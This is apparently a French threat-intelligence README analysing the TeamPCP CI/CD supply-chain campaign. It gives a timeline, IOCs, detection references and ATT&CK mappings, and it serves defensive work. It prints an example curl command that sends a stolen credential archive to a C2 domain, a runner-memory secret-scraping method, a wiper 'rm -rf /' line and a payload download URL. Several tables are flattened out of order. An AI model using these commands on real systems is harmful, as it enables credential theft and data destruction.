
CVE-2026-33634 (CVSS 9.4) — L'attaque de la chaîne d'approvisionnement CI/CD la plus marquante de 2026 à ce jour.
CVE-2026-33634 (CVSS 9.4) — L'attaque de chaîne d'approvisionnement CI/CD la plus impactante de 2026 à ce jour.
Entre le 19 et le 25 mars 2026, l'acteur de la menace TeamPCP (également suivi sous les noms DeadCatx3, PCPcat, ShellForce, CanisterWorm) a exécuté une compromission en cascade de la chaîne d'approvisionnement à travers cinq écosystèmes : GitHub Actions, Docker Hub, OpenVSX, npm et PyPI. Partant d'un seul PAT GitHub incomplètement révoqué, la campagne s'est propagée à deux grands éditeurs open source de sécurité (Aqua Security et Checkmarx), quatre dépôts GitHub Actions, deux extensions VS Code, des registres de conteneurs et plus de 66 paquets npm.
Ce dépôt fournit une analyse technique complète, des listes d'IOC organisées (testées contre les faux positifs) et des requêtes de détection prêtes à déployer dans Microsoft Defender XDR.
Cause racine : rotation incomplète des identifiants après la brèche du 28 février. Le PAT du compte de service aqua-bot n'a pas été révoqué, ou l'attaquant a observé le nouveau jeton pendant la rotation.
TeamPCP a utilisé cet accès conservé pour effectuer un force-push de tags de version vers des commits imposteurs malveillants. Chaque commit forgé reprenait les métadonnées de l'original (auteur, horodatage, message) tout en remplaçant le script d'entrée par la charge utile du voleur. La page de release de GitHub n'affichait aucun changement visible — même le badge « Immutable » s'affichait normalement.
Le voleur — un entrypoint.sh de 204 lignes s'identifiant comme « TeamPCP Cloud stealer » — exécute une attaque en trois étapes :
Étape 1 : Récupération depuis la mémoire
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Étape 2 : Balayage des identifiants sur le système de fichiers
Scanne plus de 50 chemins sensibles, notamment :
~/.ssh/*)~/.npmrc).envÉtape 3 : Exfiltration chiffrée
tpcp.tar.gzcurl POST vers des domaines typosquat spécifiques aux fournisseurstpcp-docs ou docs-tpcp dans le compte GitHub de la victime en utilisant un GITHUB_TOKEN voléSur les systèmes Linux non-CI, le malware :
~/.config/sysmon/sysmon.py)Les identifiants volés lors de la vague Trivy ont permis de compromettre l'écosystème de Checkmarx. Chaque nouvelle vague utilisait un domaine C2 typosquat différent pour contourner les listes de blocage de la vague précédente :
| Vague | Domaine C2 | Typosquat de |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Extension | Version malveillante | Version sûre |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Les deux extensions ont été publiées à 12 secondes d'intervalle à 12:53 UTC le 23 mars via le compte ast-phoenix. À l'activation, environmentAuthChecker.js vérifie la présence d'identifiants de fournisseur cloud, puis récupère un voleur de deuxième étape depuis checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Image | Tags malveillants |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Paquet | Versions | Fichier backdooré |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Charge utile base64 à triple imbrication avec un arsenal de mouvement latéral K8s. Persistance via sysmon.service qui interroge checkmarx.zone/raw.
Le schéma d'exfiltration est identique dans toutes les vagues :
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
La stratégie de domaine typosquat est délibérée : un analyste qui examine les journaux CI/CD voit un trafic curl vers ce qui ressemble au domaine du fournisseur de l'action elle-même. Sans comparaison attentive, scan.aquasecurtiy.org passe pour aquasecurity.org lors d'un examen rapide des journaux.
Seul l'attaquant peut déchiffrer les données volées — la clé de session AES est chiffrée RSA-OAEP avec sa clé publique.
Dans les 24 heures suivant la compromission de Trivy, des jetons npm volés ont permis la propagation d'un ver autonome à travers plus de 66 paquets (141 artefacts malveillants).
Ce qui rend CanisterWorm remarquable :
tdtqy-oyaaa-aaaae-af2dq-cai est un contrat intelligent décentralisé — aucun point de démantèlement uniqueget_latest_link, http_request, update_linkyoutube.com, la backdoor dortpgmon (supervision PostgreSQL)/tmp/pglog, état suivi dans /tmp/.pg_stateScopes compromis connus : @emilgroup/*, @teale.io/* (variante auto-propagée dans @teale.io/eslint-config v1.8.11, v1.8.12)
Une variante destructive cible spécifiquement les systèmes iraniens :
kamikazerm -rf / --no-preserve-root avec sudoLa détection s'effectue via des vérifications du fuseau horaire et des paramètres régionaux du système.
Nom de la règle : TeamPCP Supply Chain C2 and Malware IOC Match
Gravité : Élevée
Catégorie : CommandAndControl
Fréquence : Toutes les heures
Voir detection/defender_xdr_query.kql pour la requête KQL complète.
La requête couvre :
Un CSV prêt à importer est fourni dans iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Ce fichier a été testé contre les faux positifs dans un environnement d'entreprise en production.
| Plateforme | Détection |
|---|---|
| Palo Alto Cortex XDR | Règle ioc.linux.shaihulud.2 — accès aux identifiants sur les runners GitHub Actions |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Fonction |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Téléchargement de la charge utile de deuxième étape |
| Nom | Vague |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
Les requêtes de détection et le CSV d'IOC de ce dépôt ont été testés dans un environnement de production exécutant :
Les IOC suivants ont été retirés en raison de faux positifs confirmés :
MIT — Utilisez, partagez, adaptez librement. Mention de la source appréciée.
Auteur : Ugur Can Ates — Responsable d'équipe SOC et ingénieur sécurité senior
Dernière mise à jour : 25 mars 2026
| Date (UTC) | Événement |
|---|
| 20 févr. 2026 | Compte hackerbot-claw créé ; commence à scanner les dépôts à la recherche de workflows pull_request_target exploitables |
| 28 févr. 2026 | Première compromission de Trivy via une PWN request ; identifiants exfiltrés |
| 1 mars 2026 | Aqua Security tente de contenir — rotation des identifiants incomplète |
| 19 mars, 17:43 | Frappe principale : TeamPCP effectue un force-push de 75/76 tags dans aquasecurity/trivy-action + les 7 tags dans setup-trivy via le compte de service aqua-bot compromis |
| 19 mars, 18:22 | Version backdoorée de Trivy v0.69.4 publiée sur GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mars, 05:40 | La fenêtre de compromission de Trivy-action se referme (~12 heures) |
| 20 mars, 20:45 | CanisterWorm détecté en train de se propager via npm — 47+ paquets compromis |
| 22 mars, 20:31 | TeamPCP défigure les 44 dépôts de l'organisation GitHub aquasec-com en une rafale scriptée de 2 minutes |
| 22 mars | Images Docker Hub 0.69.5 et 0.69.6 poussées avec la même charge utile de voleur |
| 23 mars, 02:53 | La vague Checkmarx commence : ast-results v2.53.0 et cx-dev-assist v1.7.0 malveillants publiés sur OpenVSX via le compte ast-phoenix |
| 23 mars, 12:58 | Les 35 tags de Checkmarx/kics-github-action ont été force-pushés via le compte cx-plugins-releases compromis |
| 23 mars, 15:41 | Checkmarx signale le problème OpenVSX résolu |
| 23 mars, 16:50 | L'action GitHub KICS retirée après un signalement d'utilisateur |
| 23 mars, 22:25 | Sysdig signale que Checkmarx/ast-github-action v2.3.28 est également compromis |
| 24 mars, 08:30 | Vague LiteLLM : litellm v1.82.7 et v1.82.8 trojanisés publiés sur PyPI à l'aide d'identifiants volés |
| 24 mars, 11:25 | PyPI met en quarantaine les versions malveillantes de LiteLLM |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Dépôt | Tags compromis | Fenêtre d'exposition (UTC) | Point d'entrée |
|---|
aquasecurity/trivy-action | 75 sur 76 (sûr : 0.35.0) | 19 mars 17:43 – 20 mars 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Les 7 tags | 19 mars 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Les 35 tags | 23 mars 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (probablement tous) | 23 mars ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Empreinte | Description | Source |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Trivy entrypoint.sh malveillant | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm vague 4 — forme finale | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm vague 3 — test auto-propagé | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm vague 2 — backdoor ICP armée | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm vague 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm vague 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm vague 3+ — deploy.js minifié | Aikido Security |
| Indicateur | Type | Objectif |
|---|
83.142.209.11 | IP | Serveur C2 (checkmarx.zone) |
45.148.10.212 | IP | Serveur C2 (scan.aquasecurtiy.org) |
checkmarx[.]zone | Domaine | C2 — vague Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | Domaine | C2 — vague Trivy |
models.litellm[.]cloud | Domaine | C2 — vague LiteLLM PyPI |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Domaine | C2 dead-drop canister ICP |
checkmarx[.]zone/vsx | Point de terminaison d'exfiltration |
checkmarx[.]zone/raw | Interrogation de persistance (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | C2 canister ICP |
| Chemin | Fonction |
|---|
~/.config/sysmon/ | Répertoire de la backdoor |
~/.config/sysmon.py | Backdoor Python |
~/.config/systemd/user/sysmon.service | Persistance systemd |
~/.config/systemd/user/pgmon.service | Persistance CanisterWorm (parodie PostgreSQL) |
/tmp/pglog | Binaire téléchargé |
/tmp/.pg_state | État d'interrogation du C2 |
| IOC | Source du FP |
|---|
setup.sh (nom de fichier) | Collections Ansible, cache de plugins Claude Code, scripts Bitnami |
service.py (nom de fichier) | module_utils Ansible, protobuf, boto3, FreeIPA, noyau K8s |
deploy.js (nom de fichier) | Fichier npm/node standard |
169.254.169.254 (IP IMDS) | Agent FortiMonitor, Oracle AHF — supervision légitime |
icp0.io (domaine parent) | Trop large, capture le trafic ICP légitime |
hooks.slack.com (ligne de commande) | Intégrations Slack légitimes |
discord.com/api/webhooks (ligne de commande) | Intégrations Discord légitimes |
| Technique | ID | Contexte |
|---|
| Compromission de la chaîne d'approvisionnement : dépendances logicielles | T1195.002 | Empoisonnement de tags GitHub Actions, OpenVSX, npm, PyPI |
| Identifiants non sécurisés : API de métadonnées d'instance cloud | T1552.005 | Vol d'IMDS AWS depuis les runners CI |
| Identifiants provenant de gestionnaires de mots de passe | T1555 | Balayage des identifiants sur le système de fichiers (50+ chemins) |
| Extraction d'identifiants de l'OS | T1003 | Récupération depuis /proc/mem de Runner.Worker |
| Exfiltration via le canal C2 | T1041 | tpcp.tar.gz chiffré vers des domaines typosquat |
| Service web | T1102 | C2 dead-drop canister ICP |
| Service systemd | T1543.002 | Persistance pgmon.service, sysmon.service |
| Transfert d'outil entrant | T1105 | Téléchargement de checkmarx-util-1.0.4.tgz |
| Acquisition d'infrastructure : domaines | T1583.001 | Domaines typosquat par vague |
| Source | Lien |
|---|